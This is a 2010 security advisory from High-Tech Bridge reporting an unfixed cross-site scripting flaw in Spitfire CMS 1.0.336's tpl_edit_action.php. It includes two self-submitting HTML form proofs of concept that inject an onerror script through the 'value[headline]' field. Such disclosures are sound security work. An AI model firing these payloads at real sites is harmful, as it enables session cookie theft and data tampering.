Vulnerability ID: HTB22486 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_spitfire_3.html Product: Spitfire Vendor: Claus Muus ( http://spitfire.clausmuus.de/ ) Vulnerable Version: 1.0.336 and Probably Prior Versions Vendor Notification: 08 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "tpl_edit_action.php" script to properly sanitize user-supplied input in "value[headline]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: First code: <form action="http://host/cms//edit/tpl_edit_action.php"; method="post" name="main" > <input type="hidden" name="action" value="save" /> <input type="hidden" name="value[headline]" value='headl2<img src=x onerror=alert(234)>' /> <input type="hidden" name="winid" value="0" /> </form> <script> document.main.submit(); </script> Second code: <form action="http://host/cms//edit/tpl_edit_action.php"; method="post" name="main" > <input type="hidden" name="action" value="value" /> <input type="hidden" name="tabid" value="headline" /> <input type="hidden" name="winid" value="0" /> </form> <script> document.main.submit(); </script>
